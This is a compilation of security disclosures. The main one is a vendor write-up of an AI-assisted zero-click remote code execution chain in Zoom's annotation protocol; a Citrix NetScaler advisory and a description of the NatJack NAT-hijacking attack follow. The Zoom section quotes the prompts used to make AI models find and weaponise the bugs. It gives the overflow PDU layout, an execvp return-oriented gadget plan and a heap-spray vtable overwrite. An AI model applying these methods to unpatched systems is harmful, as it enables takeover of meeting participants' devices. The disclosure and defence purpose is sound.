Original article https://a.security/blog/asecurity-zoomsday

Ⓐ Cyber Security | Blog | ZOOMSDAY

A critical vulnerability in Zoom, a platform used by 70% of the Fortune 100, discovered by publicly available frontier models, allows an attacker participating in a meeting a zero-click remote code execution on all meeting participants across all native clients. This research emphasizes the risk of weaponized AI and how vulnerable we are as an industry.

Executive Summary

• Ⓐ Security, the Autonomous Offensive Security and Remediation Platform, discovered a critical flaw in Zoom that let an attacker take complete control of another user's device during a live call. No click, no download, and nothing required of the victim but being in the meeting. The vulnerability is present in every version of Zoom on every device and operating system: Windows, Mac, iPhone, Android and Linux. The vulnerability exists in all versions up to and including 7.0.5.
  ‍

• All Zoom Workplace clients on all supported platforms before version 7.1.5 and 7.0.6 using end-to-end encryption settings are still vulnerable. We recommend updating your clients to the latest version.

• The entire operation, from finding the flaw to building a working exploit, was carried out by Ⓐ using fewer than 20 prompts on publicly available AI models in under 24 hours.

• This class of capability would previously have only been available to nation-state threat actors, but the model requiring elite teams, months of effort, and weapons-grade budgets has collapsed. Today, a single researcher was able to develop a nation-state-level exploit in less than a day.

• The vulnerability is a memory-corruption bug that exploits Zoom's annotation feature.
  Zoom annotation is built on a proprietary protocol — closed code with no public documentation or specification. Ⓐ Research was able to exploit the fact that every Zoom client automatically parses whatever it receives, sending a specially crafted message to corrupt the receiving client's memory and run code on it. The protocol opens a direct channel between a viewer and a sharer, letting the attacker target each participant individually.

• The exploit enables attackers to either join or host a meeting, target any participant, and take over their machine with no required action from the victim and no visual cue indicating the compromise.

• Once the nefarious code is running on the victim's device, the threat actor can quietly steal personal data, switch on the microphone or camera to spy on the target, or install other malicious software. In a large call, that's a room full of targets from a single message, with no safe seat in it.

• Ⓐ Security collaborated with Zoom to address the issue. The company reported the vulnerability to Zoom in June 2026. Zoom acknowledged receipt and deployed client-side and server-side fixes.

• The first two vulnerabilities are tracked as CVE-2026-53413 and CVE-2026-53414. Zoom has issued a security alert.
  ‍

• A third vulnerability, CVE-2026-53415, was reported but had already been found and fixed by Zoom before our report.

Intro

Ⓐ found a critical, nation-state-grade vulnerability in Zoom in a single working day using an AI agent and models anyone can access today.

Exploits like this one are weapons. Governments regulate their export. Criminal organizations pay millions for them. Acquiring one has always required nation-state infrastructure, elite teams, and months of work.

That barrier is gone.

AI security research has been building to this in steps: first solving CTF challenges, then finding bugs in public bug-bounty programs. That work was impressive, but it lived in controlled or open environments, targets with published scope and known rules. Zoom is neither. It's closed-source enterprise software with no public internals, the kind of target that defenders assume is protected by obscurity and scrutiny. Producing a working exploit here sits in the category nation-states spend months and millions to reach.

The flaw allowed an attacker to take control of a device during any live Zoom call, with no action required from the victim, no click, no download. It worked in both directions: a compromised presenter could reach every participant, and any participant could reach the presenter. It was confirmed on all platforms Zoom runs on: Windows, macOS, iOS, and Android.

This matters beyond Zoom. Zoom is a core infrastructure for 70% of the Fortune 100, most of the Fortune 500, and federal agencies. Additionally, it is the platform where millions meet their doctors, lawyers, and families. But the real finding isn't the bug. It's the speed. The barrier to producing this class of weapon has collapsed, and it won't come back.

We disclosed the vulnerability to Zoom privately; their team engaged quickly and shipped a fix before publication.

The takeaway for security leaders: defenses built for a world where these weapons were scarce no longer hold. The only durable response is to turn the same capability inward, testing your own environment continuously, before an adversary gets there.

Technical Deep-dive

Why Zoom, and where we started

Ⓐ's mission is to secure modern enterprises against weaponized AI.
That means testing more than the systems our customers own. It means testing the software they depend on and cannot audit.

Zoom is one of those tools. It is closed-source, publishes no protocol specifications, and is deployed nearly everywhere that matters.

We started from the Android client, version 7.0.4. The Android Package is a container, Dalvik bytecode plus 121 native shared libraries. The Java layer is mostly UI and IPC glue. Anything that touches untrusted bytes at speed lives in native code, so the native side was the target.
That is still far more surface than anyone can reverse by hand, so the first job was ranking it.

How we mapped the attack surface

> PROMPT
> I’ve Decompiled Zoom Android v7.0.4. Java in the dex, 121 native .so files, IDA available.
> Map the attack surface end to end: enumerate the native libraries and what each does, then for every function reachable from a JNI entry point, score its exposure to dangerous sinks (memcpy/strcpy/sprintf families, computed-size allocators) weighted by severity, function size and call depth.
> Give me a ranked work queue plus a one-line 'library → entry point → sink class' map.

To find the targeted library our agents built a static pre-ranker that automatically scored every function reachable from a JNI entry point by its calls to dangerous sinks (memcpy/strcpy/sprintf, computed-size allocators), weighted by CWE severity, function size and call depth. It produced a ranked work queue of 3,762 functions across 70 libraries, topped by the video, image and audio stacks

That queue told us where Java could reach dangerous code and that turned out to be the wrong question. Its top entries were local paths: frame-capture and render entry points driven by the device's own camera, not by another participant. The one bug we did find on that side of the house, a 32-bit width × height overflow in a native video receive worker, we reached it sits behind a network thread with no JNI entry point at all so a JNI-rooted ranker was structurally blind to it. And it went nowhere: it turned out to be unreachable with the input shapes a real meeting produces.

That surface came up dry, so we flipped the search: instead of hunting for dangerous code, we hunted for what a remote participant can actually reach. That put the focus on the protocol itself — the messages clients send and receive from each other during a meeting, and how much of each one the sender controls. To find it we traced the client dynamically through a Frida MCP, exercising each meeting feature in a live call while watching which libraries loaded and which functions fired underneath. Annotation, a collaboration feature that lets you draw, type text, add shapes, or place stamps directly on a shared screen or digital whiteboard during a meeting, was the one that paid off: drawing an object lit up libannotate.so, and with it the serialize and deserialize routines that build the message on the sender and rebuild it on the receiver. It's also worth noting that the feature can be exploited whether the user is working with the tool in a particular meeting or not. It is “always on” and in older versions of the client “always vulnerable”

That put libannotate.so at the front. The static score had ranked it #45. It sits directly on the protocol that's reachable from remote — a proprietary, non-CVE library with complex messages that are built and sent over the wire and received on the other user's client. Also worth mentioning: the same source compiles into the Windows, macOS, iOS and Android clients, so a bug here isn't one-platform, it runs across the entire product line.

Reverse engineering the Annotation library

> PROMPT
> Reverse the annotation protocol in IDA.
> I want the full opcode → handler map: which message types construct objects, which carry a full body vs. an id-only reference, how objects are created / synced / removed / full-synced, and where each handler forwards the deserialized object.
> Rename handlers in the IDB as you go.

Annotation objects

The first thing to understand is that nothing about a drawing travels as an image.
When a participant draws on a shared screen or whiteboard, their client doesn't ship pixels, it builds a typed in-memory object describing the mark.
A freehand stroke becomes a CAnnoObjSmoothPen; a text box becomes a CAnnoObjTextbox; shapes, highlights, and arrows each have their own class.
Every one of them descends from a common base, CAnnoObj, which carries the shared header that contains object type, flags, geometry. Each subclass adds its own fields afterwards.

To leave the machine, that object is serialized: flattened into a byte stream and wrapped in a Protocol Data Unit (CAnnoPduAddObj and its siblings: add, update, remove, clear).
The PDU is what actually crosses the network.
On the far side the process runs in reverse — the receiver deserializes the bytes back into the same object graph and hands it to the renderer. Serialize and deserialize are mirror images of each other, and that symmetry is exactly what made the protocol recoverable: every field written by a stream_write on the send side has a matching stream_read on the receive side, so walking the caller sets of those two primitives reconstructs the whole grammar, field by field.

The format itself is self-describing in the worst way for a defender: it is a flat sequence of length-prefixed and count-prefixed reads. The parser reads a value off the wire, then trusts that value to decide how much more to read, how many styled runs a text frame contains, how many code units a glyph buffer holds. Those counts come from the sender.

How a drawing reaches every participant

Annotation PDUs don't go peer-to-peer. They are handed to Zoom's MMR (Multimedia Router) server and MMR doesn't blind-fan one client's object out to the whole room, every participant holds a channel to the sharer, and the sharer holds one back to each participant.

Upstream, participant → sharer carries the objects a viewer draws.
Downstream, sharer → participant carries the sharer's replies on that same channel, DocRequestDrawAck, AddObjAck and the receiving client runs them through the full deserialize stack.

Nothing on the receiving side enforces that the downstream channel carries only acknowledgements. CAnnoPduFactory::create reads the opcode off the wire and dispatches to that class's deserializer; on the paths traced here there is no sender-role or origin check. AddObj is 0x10001 and AddObjAck is 0x10002. One increment separates "here is an object" from "I received your object," and the factory cannot tell which seat the sender occupied.
Put 0x10001 and a serialized object graph where an ack body belongs and the victim reconstructs the object to full depth.
That is the design bug: an ack is allowed to carry an object body, and the receiver deserializes it.

The sharer seat is the stronger position, and the asymmetry is reach.
From it you hold a direct, addressed channel to every participant, so you can drive one victim's parser at a time.
From a viewer seat the same primitive exists but points at exactly one deserializer, the sharer's.

The Vulnerabilities

> PROMPT
> ‍The deserialize side is remotely reachable — any participant's PDU gets rebuilt on the receiving client. That's the attack surface, so scope everything to those functions. Audit libannotate's object deserializers for memory-safety bugs: wire counts used as sizes, copies with no destination bound, allocations that don't match the bytes actually read. > > ‍ > > RESULT
> ‍Strongest hit: CAnnoFormatBlock::Deserialize — unbounded copy into a fixed buffer.The function holds four fixed 128-byte buffers. For each one it reads a 32-bit count off the wire and copies 2 × count bytes in. The count is checked only for being non-zero — there is no comparison against the 128-byte destination anywhere in the function, and the copy routine it calls measures only the source, handing over as many bytes as the packet still has left. Neither side is guarding the destination.
> The buffer being filled is the last field in the object, and that object is a member of the 704-byte text range that CAnnoTextFrame::Deserialize builds as a local variable in its own stack frame. So an oversized count does not stop at the end of the object — it keeps writing forward through the frame, into the saved registers and the return address.
> Both halves of the write are attacker-supplied: the count sets how far it runs, and the bytes copied are the packet's own. This is a remotely triggerable stack buffer overflow.

> PROMPT
> B_uild_ the PDU that reaches it through normal parsing. No shortcuts - walk every field the parser expects: the factory type for the object, the flag bit that selects the text-frame body, the text-range header, then the oversized channel count and the overflow payload. Give me the byte layout, and deliver it over the real transport from one client to another. The victim's own parser does the work, no instrumentation on that side. > > ‍ > > RESULT
> ‍745-byte AddObj PDU: opcode 0x10001, object flags bit 3 (TextFrame), fourth channel count 0x100. Delivered from a viewer to the presenter over Zoom's own encrypted transport, with nothing attached to the victim:
> [F8] HIJACKED DocRequestDrawAck serialize -> emitted 745B F8 payload (cap 128B -> 745B)
> [drain] sub_F9DE4 ran
> •
> •
> XX_-XX_ XX_:XX:XX.XXX_ 13845 13845 F libc : stack corruption detected (-fstack-protector)

CVE-2026-53413 : The overwrite:

Both bugs live in the same place: the text annotation. It is a nested object in the protocol, and that is what makes it the richest target.

A text annotation is built in four layers and the receiver rebuilds every one of them from the wire. The CAnnoObj starts with the header which holds a flag bit that describes the object type, value 3 means "this object has a text body" and the parser follows it into a CAnnoTextFrame.

The text frame holds a list of CAnnoTextRange items — one per styled run of text. Each run carries its characters and its formatting, and the formatting lives in a CAnnoFormatBlock: a small header followed by four fixed 128-byte buffers, each holding a UTF-16 string such as a font name. 128 bytes is 64 characters. The wire supplies a character count per buffer, and the parser copies 2 × count bytes into it.

A run can hold a format block in either of two places. Normally it is a member of the range itself, and the range is a 704-byte local variable inside the text frame's deserializer — so it lives on the stack. But a run can also declare an extension: a single gate byte on the wire that, when non-zero, makes the receiver allocate a separate 592-byte child object on the heap, carrying its own format block.

Each count is a 32-bit value taken straight off the wire, and each buffer is a fixed 128 bytes. There is no bounds check to stop a count from exceeding the buffer length. The 4th buffer is the last buffer, so an oversized fourth count writes past the end of whatever object holds it: the 704-byte range on the stack, or the 592-byte child on the heap.

Stream_Read - this function is the write primitve that gets the wire input stream, the dst buffer and the wire size and copy to the buffer :

CAnnoTextFrame::Deserialize

CAnnoFormatBlock : buf4 is the last field, so an oversized count4 runs off the end of the object:

CAnnoExtBlock , CAnnoExtChild deserializers (the object allocation on the heap):

CVE-2026-53414 : The over-read:

A separate bug - the glyph buffer is allocated from a wire count but filled from the packet: the receiver reads a character count, allocates 2 × count + 2 bytes without zeroing them, then copies in however many bytes actually arrived. Send a large count with a short body and the untouched tail is live receiver heap, with a terminating NUL written only at the far end. Confirmed live on the victim's own client. One captured slab held live code and vtable pointers from a single loaded library, alongside resource strings and rendering data - module-base material of exactly the kind an ASLR bypass needs.

Exploitation: Achieving RCE on MacOS

> PROMPT
> I control PC, X19–X28, X29/X30, and a contiguous stack, with no PAC or canary on this bundle. Find a one-shot shared-cache gadget that turns my controlled registers into a real call with an argument I control. Then prove it executes to completion with a visible effect on the victim, not just a crash or a hung branch

The macOS annoter bundle ships as plain arm64 with neither PAC nor stack canary.
So the overflow runs clean into the function's epilogue, which restores a batch of registers from the stack and then returns wherever the stack points.
We just overwrote that stack region, so it restores our values and jumps to our address.
One PDU hands us the program counter (PC) plus the callee-saved registers X19-X28 and the frame/link pair X29/X30, every one of them loaded straight from our overflow bytes. That is complete control.

With no PAC to authenticate anything, we don't need a complex exploit. We can just point the return address (X30/LR) at one ready-made instruction sequence (a "gadget") in the system's shared library cache, and let the epilogue pre-load the argument registers for us.
The overwrite plants three things, each landing in the register the gadget uses:

Register	What we plant	What it does
LR (X30)	gadget: MOV X0,X19; MOV X1,X21; BL execvp	redirects into execvp
X19	/Applications/Safari.app/Contents/MacOS/Safari	becomes arg 1 — what to run
X21	the argument list {path, NULL}	becomes arg 2 — how to run it

Because we control X19 and X21 directly, the gadget just copies them into X0/X1 and calls, no need to find the values anywhere else. The gadget, the path string, and the argument list all live in the same shared cache. macOS shifts that cache by a random amount each boot (ASLR), but shifts it as one block so a single leaked pointer rebases all three at once.

On the hijacked return, execvp("…/Safari", argv) runs and the victim's zoom.us process is replaced by the launched app. Fired live against a real target, it popped Safari open on the victim's Mac.

Leak-free control-flow hijack via heap shaping on Android

> PROMPT
> My overflow now runs off a heap chunk in a fixed size class instead of the stack.
> I have no address knowledge though. can I get control purely through heap shaping, no leak? Spray the same size class to place an object I control adjacent to the overflow source, then corrupt only the low byte of its vtable pointer so the virtual call retargets to an offset inside the module regardless of ASLR slide. Find the un-gated op that fires that vcall, and prove it hijacks PC on an uninstrumented victim from the tombstone alone — layout doing the work an info-leak normally would.

An alternative path to leveraging the over-read vulnerability is a classic heap spray.
By spraying arbitrary data objects and partially corrupting their vtable pointers using the heap overflow primitive an attacker can gain controlled code execution.

The same overflow, using the heap version ExtChild (new(0x250), the 592-byte size class), gives us a controlled write past the end of a chunk. This can lead to code execution but requires some shaping.

Shape the heap first. Every ExtChild lands in the same 592-byte size class, so spraying them over AddObj lays them out back-to-back. This lets us place an object we control directly after our overflow source. Now the overflow doesn't spill into whatever happened to be there; it spills into a neighbor whose layout we know exactly. We size it to reach just the neighbor's first field: its C++ vtable pointer.

We can partially overwrite the pointer as our overflow is controlled. A vtable's low bytes are fixed relative to the module base no matter where ASLR loaded the module, so a partial overwrite retargets the virtual call to a chosen offset inside the module with zero address knowledge.

Triggering the bug. The corrupted pointer dispatches through an un-gated teardown path: normal wire ops (RemoveObj / ModifyObj) run a destructor that calls through the child's vtable. It triggers on any participant, viewer or presenter.

Demo Video

CVE-2026-53415

The Sequel - A Second, Independent RCE

Our work on Zoom's annotation engine didn't end with the first bug. The same AI-assisted research surfaced a second, independent flaw in the very same engine.
Zoom's parser handles a message type internally numbered 75 - an "auto-shape" metadata object (CAnnoObjAutoMetaShape) - by reading attacker-supplied bytes directly into an internal linked-list structure and then unlinking that list, without ever validating the pointers it was handed. Lidor Elias identified and triaged this bug.
The result is a write-what-where primitive: the attacker controls both the value written and the address where it lands, providing a potential path to remote code execution. When shared the bug upon triage, Zoom already knew about it and had deployed a server-side mitigation that filters malicious messages (both to this CVE and the previous) before it reaches clients, but that defense carries the same gap as before: it cannot apply to end-to-end encrypted (E2EE) meetings, where the server is deliberately blind to call content. On E2EE calls, the crafted message passed through untouched and the vulnerability remained fully exploitable. Zoom closed it properly on the client side in version 7.1.5.

Disclosure

Ⓐ Research identified this vulnerability on June 8, 2026, and confirmed a working zero-click RCE against Zoom Client v7.0.5 across all platforms the following day. We reported it to Zoom on June 10, and Zoom acknowledged receipt within a day. Their response was fast and thorough: a client-side fix shipped in v7.1.0 just twelve days after our report, and Zoom followed up with a server-side mitigation on July 15 to protect users still running earlier client versions before they could update.

Because a zero-click RCE requires no user interaction, we prioritized giving customers time to receive both the client patch and the server-side mitigation before publishing. This post follows that coordinated timeline, and we are releasing it alongside CVE assignment.

2026-06-08 - Ⓐ Research discovers the Zoom annotation memory-corruption vulnerability.

2026-06-09 - Zero-click RCE confirmed on Zoom client v7.0.5 (all platforms).

2026-06-10 - Ⓐ Research reports the vulnerability to Zoom.

2026-06-11 - Zoom acknowledges receipt.

2026-06-22 - Zoom deploys client-side fix in v7.1.0 including patch for CVE-2026-53413,CVE-2026-53414.

2026-07-15 - Zoom deploys server-side mitigation for earlier versions.

2026-07-20 - Zoom deploys client-side fix in v7.1.5 including patch for CVE-2026-53415.

2026-08-11 - Public disclosure.

Guidance for Mitigation

Zoom's bulletin ZSB-26015, ZSB-26016 & ZSB-26017 lists the affected products:

• Zoom Workplace, all supported platforms, before version 7.1.5 and 7.0.6 in their respective branches
• Zoom Workplace VDI Client for Windows, before versions 7.0.11 and 6.6.16 in their respective branches
• Zoom Rooms, all supported platforms, before version 7.1.0
• Zoom Meeting SDK, all supported platforms, before version 7.1.0

Updating closes these CVEs. Until every client is updated, you can disable the end-to-end encryption setting. Since Zoom's server-side mitigation, malicious annotation messages are filtered before they reach clients, and enhanced encryption, Zoom's default, leaves that filter in place. E2EE removes it, because a server cannot inspect what it cannot read. E2EE would not have stopped this attack anyway: the attacker sits in the meeting, holding the keys. It has its own uses, just not this one.

Disable end-to-end encryption to protect older, vulnerable clients

Beyond this vulnerability, prepare for the next one, because there will be a next one and not necessarily in Zoom. Every endpoint runs software that parses bytes chosen by outsiders, and you cannot audit any of it.

The first obvious action is to patch fast: a published patch is a map to the bug, so the risk to an unpatched fleet rises the moment a fix ships, and that gap could run to months. In Zoom you can set a per-platform minimum version, for guests as well as staff. But patching is not enough, because your exposure starts when someone finds the bug, not when the vendor hears of it, and exploits of this class are now cheap to produce.

Hence, reducing the attack surface is just as important, both who can reach you and what they reach. This exploit needed only presence in the meeting, so joining rules are access control: waiting rooms, passcodes, authenticated-users-only, no published personal meeting link. Then cut what nobody uses, because every optional feature is another parser. In Zoom, consider locking annotation, file transfer, whiteboarding, remote control and third-party apps, and limiting screen sharing to hosts. Beyond settings, consider the client itself: Zoom's browser client has no annotation or whiteboarding at all, and what it does run is sandboxed; and where compromise is least acceptable, keep such software off the endpoint and join from a separate device or VDI.

Some attacks will land anyway, so endpoint protection platforms (EPP/EDR) are what stop the next step and tell you it happened. Code running inside these applications inherits their permissions, which in a conferencing client means camera, microphone and screen recording. A meeting client has no reason to launch a browser, a shell or a script interpreter, so block it where you can and alert on it everywhere; our exploit made zoom.us open Safari. Collect client crash reports centrally too, because failed attempts crash long before a working one lands.

‍

Conclusion & Impact analysis

One malformed annotation, drawn by anyone in the call, was enough to take over every other device in the room. The same source compiles into the Windows, macOS, iOS, and Android clients.

But the vulnerability is not the story. The story is what it cost to find it.

This is closed-source enterprise software with no published protocol, the class of target defenders assume is safe because it is large, scrutinized, and opaque.
Producing a working exploit against it has always been nation-state work: elite teams, months of effort, budgets that governments regulate as weapons.
Ⓐ did it in a single day, with an AI agent and models anyone can access today.

That is the shift security leaders have to price in. The barrier that kept these weapons scarce has collapsed, and it will not come back. Attackers already have this capability.

The only open question is whether defenders reach their own exposures first. The durable response is to turn the same offensive capability inward and run it against your own environment continuously, before someone else does.

‍

Credits

The author gratefully acknowledges Iliya Fayans and Lidor Elias for their contributions to this research.

---

Related vulnerabilities: CVE-2026-53413CVE-2026-53415CVE-2026-53414

Ref: https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX696939

Severity of Bulletin: Critical

Description of Problem

Multiple vulnerabilities have been discovered in NetScaler ADC (formerly Citrix ADC) and NetScaler Gateway (formerly Citrix Gateway). Refer below for further details.

Affected Versions:

The following supported versions of NetScaler ADC and NetScaler Gateway are affected by the vulnerabilities: 

• NetScaler ADC and NetScaler Gateway 14.1 BEFORE 14.1-73.32

• NetScaler ADC and NetScaler Gateway 13.1 BEFORE 13.1-63.21

• NetScaler ADC FIPS BEFORE 14.1-73.32 FIPS

• NetScaler ADC FIPS and NDcPP BEFORE 13.1-37.277

Additional Note: Secure Private Access Hybrid deployments using NetScaler instances are also affected by the vulnerabilities. Customers need to upgrade these NetScaler instances to the recommended NetScaler builds to address the vulnerabilities. 

This bulletin only applies to customer-managed NetScaler ADC and NetScaler Gateway. Cloud Software Group upgrades the Citrix-managed cloud services and Citrix-managed Adaptive Authentication with the necessary software updates.

NetScaler ADC and NetScaler Gateway are affected by the vulnerabilities mentioned below

CVE-ID 

Description

Pre-conditions

CWE

CVSSv4

CVE-2026-19489

Memory overflow vulnerability leading to unpredictable behavior or Denial of Service

SIP ALG(Session Initiation Protocol Application Layer Gateway) should be enabled on a Large Scale NAT (LSN) group configuration. 

CWE-119 - Improper Restriction of Operations within the Bounds of a Memory Buffer

CVSS v4.0 Base Score: 8.8

(CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/

VC:L/VI:L/VA:H/SC:N/SI:N/SA:L)

CVE-2026-19490

Authentication bypass using an alternate path

The appliance must be configured as a Gateway (SSL VPN, ICA Proxy, CVPN, RDP Proxy) or an AAA virtual server, subject to the following version-specific requirements:

• 14.1-43.56 or later: Applicable only when configured with a SAML action
  AND NetScaler is configured with Gateway (SSL VPN, ICA Proxy, CVPN, RDP Proxy) or AAA vserver

• 14.1-66.68-FIPS or later: Applicable only when configured with a SAML action AND NetScaler is configured with Gateway (SSL VPN, ICA Proxy, CVPN, RDP Proxy) or AAA vserver

• 14.1-43.55 or earlier: Applicable when configured with Gateway (SSL VPN, ICA Proxy, CVPN, RDP Proxy ) or AAA vserver

• 13.1-61.28 or later: Applicable only when configured with a SAML action.

• 13.1-61.27 or earlier: Applicable when configured with Gateway (SSL VPN, ICA Proxy, CVPN, RDP Proxy)  or AAA vserver

• 13.1 FIPS: Applicable when configured with Gateway (SSL VPN, ICA Proxy, CVPN, RDP Proxy) or AAA vserver.

CWE-288: Authentication Bypass Using an Alternate Path 

CVSS v4.0 Base Score: 9.3

(CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/

VC:H/VI:H/VA:H/SC:L/SI:L/SA:L)

What Customers Should Do

Cloud Software Group strongly urges affected customers of NetScaler ADC and NetScaler Gateway to install the relevant updated versions as soon as possible. 

• NetScaler ADC and NetScaler Gateway 14.1-73.32 and later releases

• NetScaler ADC and NetScaler Gateway 13.1-63.21 and later releases of 13.1

• NetScaler ADC 14.1-FIPS 14.1-73.32 FIPS and later releases of 14.1-FIPS

• NetScaler ADC 13.1-FIPS and 13.1-NDcPP 13.1-37.277 and later releases of 13.1-FIPS and 13.1-NDcPP

Steps to determine if an appliance meets the CVE preconditions

For CVE-2026-19489:

Customers can determine if the appliance meets the precondition by inspecting their NetScaler configuration for the specified string:

• "​add lsn group.*sipalg.*" 

For CVE-2026-19490: 

Customers can determine if the appliance meets the precondition by inspecting their NetScaler configuration for the specified string:

SAML action configuration

• "add authentication samlAction.*"

Auth or VPN vserver

• "add authentication vserver .*"

Or 

• "add vpn vserver .*"

---

Related vulnerabilities: CVE-2026-19489CVE-2026-19490

NatJack: A New Attack Class Against Network Infrastructure Devices

natjack

A NEW ATTACK CLASS AGAINST NETWORK INFRASTRUCTURE DEVICES

Origin: https://natjack.io/

What is NatJack?

NatJack is a newly developed network address translation (NAT) table manipulation attack class effective against most virtual and physical network infrastructure performing NAT. These attacks can be used to hijack an existing TCP connection traversing through the NAT, to intercept and maliciously alter UDP DNS responses, or to perform a denial-of-service attack.

The NatJack attack class affects an entire ecosystem of virtual and physical network infrastructure devices. Most modern network infrastructure relies on design assumptions that have remained unchallenged for decades since their original development. While these assumptions historically held under cooperative network environments, some no longer withstand adversarial conditions.

This is a systemic issue bigger than any one specific implementation and many unique NAT implementations have been found to be vulnerable.

Is my router vulnerable?

If you are a home user with a consumer-grade router, your router is very likely vulnerable, but you are most likely not at risk of an attack. For an attack to be performed, an untrusted privileged user would generally need be located behind your router. For most home users, this is not a common scenario or threat.

If you are a business or service provider, your routers, firewalls, containers, virtual machines, and other network infrastructure are likely vulnerable. This does not automatically mean you are at risk, but depending on your network setup, you could be at risk of an attack.

All tested routers and network infrastructure devices performing any form of network address translation have been found to be vulnerable to some or all of the NatJack attacks. Containerization systems including Docker and Kubernetes, and hypervisors including Hyper-V are affected by this attack class through virtual bridges and switches. Many public cloud services for containerization and virtualization are similarly affected.

In which scenarios is an attack most likely?

Corporate Networks

Where untrusted users or compromised devices, even those in a different subnet or VLAN, share the same router or firewall as trusted users.

Docker Containers

Running untrusted or compromised containers in a default networking configuration.

Kubernetes Deployments

Local or cloud deployments where a compromised pod is running on the same node as a trusted pod.

Virtual Machines

Running untrusted or compromised virtual machines in a default networking configuration.

Cloud Infrastructure

Cloud infrastructure including NAT gateways, internet gateways, firewalls, and serverless computing infrastructure can be affected when an attacker is positioned behind the NAT device.

What attacks are possible?

Many of the attacks have similar impact to an ARP spoofing attack, but bypass all existing mitigations. It is possible to perform attack variations in situations where an ARP attack would fail, including cases where the attacker and victim are positioned in completely different broadcast domains, including different subnets or VLANs, with only a shared NAT in common.

Vulnerability Description

Certain network address translation (NAT) implementations allow downstream attackers to manipulate NAT table state entries in a manner that enables TCP session hijacking through downstream IP spoofing. An attacker on the LAN side of the affected device can remove or replace NAT mappings associated with an active victim TCP connection and redirect traffic to an attacker-controlled system. Successful exploitation may allow the attacker to impersonate the victim to the upstream server, intercept valid TCP traffic, inject malicious application-layer data, terminate active sessions, or perform limited man-in-the-middle attacks against certain long-lived HTTP connections.

Vulnerability Description

Certain NAT implementations allow downstream attackers to manipulate NAT table state entries in a manner that enables TCP session hijacking through coordinated upstream IP spoofing. An attacker controlling both a downstream host and an upstream attacker-controlled server can remove or replace NAT mappings associated with an active victim TCP connection and redirect traffic away from the legitimate client. Successful exploitation may allow the attacker to impersonate the victim to the target server, intercept legitimate TCP traffic, inject malicious payloads, terminate active sessions, or perform limited man-in-the-middle attacks against certain persistent HTTP connections. Exploitation generally requires knowledge of the victim’s externally mapped ephemeral port, which may be obtainable through separate NAT information disclosure weaknesses.

Downstream spoofing (left) and upstream spoofing (right) variations

Vulnerability Description

Certain NAT implementations improperly protect UDP NAT state entries, allowing a downstream attacker to manipulate NAT table mappings associated with DNS traffic. An attacker on the LAN side of the affected device can remove or replace an existing NAT entry corresponding to a victim’s DNS query, causing legitimate DNS responses to be redirected to an attacker-controlled host. The attacker may then craft and transmit a spoofed DNS response to the victim, potentially enabling DNS hijacking, traffic redirection, denial of service, or interception of sensitive DNS information.

Victim port disclosure (left) and victim IP+port disclosure (right)

Vulnerability Description

Certain NAT implementations expose weaknesses in ephemeral port assignment and connection mapping behavior that allow a downstream attacker to infer active NAT mappings associated with out downstream clients. By leveraging predictable NAT port allocation behavior and crafted probing traffic, an attacker may determine the external ephemeral port associated with a victim connection and, under certain conditions, identify the corresponding internal client IP address. This information disclosure may facilitate subsequent attacks including TCP session hijacking and DNS response interception.

Vulnerability Description

Certain Network address translation (NAT) implementations are vulnerable to NAT table exhaustion attacks due to insufficient controls on connection state allocation and retention. An attacker positioned on the downstream (LAN) side of the affected device can generate large numbers of spoofed TCP or UDP flows that cause the NAT table to become saturated with persistent entries. Once the NAT table is exhausted, legitimate downstream clients may be unable to establish new outbound connections, resulting in a denial-of service condition affecting network and internet access.

Black Hat Briefing

This research was presented at Black Hat USA on August 6, 2026 as Breaking Trust Boundaries: Exploiting Design Assumptions in Network Infrastructure. Slides are available for download.

CVEs, Patches and Advisories

CVEs

• CVE-2026-56181: Microsoft Windows NAT (affecting Hyper-V in a downstream spoofing configuration)
• CVE-2026-63913: Linux Kernel Netfilter (fixing a code flaw and applying a mitigation for the downstream spoofing attack) applied in Linux kernel 7.1 and higher. This is not a complete fix but does increase attack complexity.

Patches

• FreeBSD incidental patch (unrelated to this research) from 2025 for Packet Filter which affects both downstream spoofing and upstream spoofing configurations, applied in FreeBSD 15.0.0 and higher. Code was pulled in from OpenBSD which has had this more secure behavior since 2016. Although not a complete fix, it makes most attacks much less practical. Thanks to sashan (OpenBSD) for pointing out this code.

Advisories

• Amazon eero: Protecting eero customers from NatJack

AWS Public Statement

AWS investigated and deployed mitigations for reported behavior related to connection state management in services that perform port-level network address translation, NAT gateway and Network Load Balancer (NLB).

This research describes a scenario in which an actor with control of an EC2 instance within a VPC could send crafted TCP reset packets to manipulate NAT flow state, potentially enabling session disruption or interception of TCP and UDP connections traversing the NAT. The described scenario requires the actor to already control an instance within the same VPC as the targeted connection.

AWS has deployed updates across both services that strengthen connection state validation, including enhanced verification of TCP reset packets before modifying flow state. These mitigations are effective across all AWS Regions. Customer applications must follow TCP and UDP best practices, by ensuring that their sockets are closed after the application's idle timeout expires. No further customer action is required to inherit protection. Customers with high connection volumes and long-lived connections should monitor port utilization and may need to allocate additional Elastic IP addresses (NAT gateway) or expand target/subnet capacity (NLB) to accommodate longer port hold times introduced by this hardening [1][2].

The research also describes an information-disclosure technique in which an actor can infer in-use external NAT ports by observing responses to crafted SYN and ACK floods. This technique requires both an instance within the same VPC as the port disclosure sought and a cooperating external server capable of IP spoofing. The disclosed port information is limited to external NAT port numbers in use and does not reveal associated client IP:port pairs. AWS mitigations prevent the session manipulation techniques that would otherwise leverage this information.

We appreciate Malcolm Stagg's (SODIUM-24, LLC) commitment to coordinated disclosure and constructive collaboration throughout this process, and we encourage continued engagement from the security research community.

[1] https://docs.aws.amazon.com/vpc/latest/userguide/nat-gateway-troubleshooting.html

[2] https://docs.aws.amazon.com/elasticloadbalancing/latest/network/load-balancer-troubleshooting.html

Social Media

#natjack

Until more vendor patches are available, mitigation strategies will be necessary for the forseeable future. Use #natjack on social media to share and track custom mitigation strategies, vendor security advisories, and patch releases.

How can I make my network more secure?

🔒 Encryption

• Use TLS (including HTTPS) everywhere, even on internal systems. This will completely prevent useful hijacking of connection data.
• Use DNS security such as DNSSEC to prevent spoofing of DNS responses. DNS encryption such as DNS over HTTPS or DNS over TLS is also recommended to prevent hijacking.

🐳 Containers and Virtualization

• Disable network access of untrusted containers and virtual machines when possible, or set them up in a private internal network.
• Run untrusted containers or virtual machines on their own isolated host machine.
• Avoid running containers as root.
• Drop the enabled-by-default NET_RAW permissions when running an untrusted container using --cap-drop=NET_RAW.

☸ Kubernetes

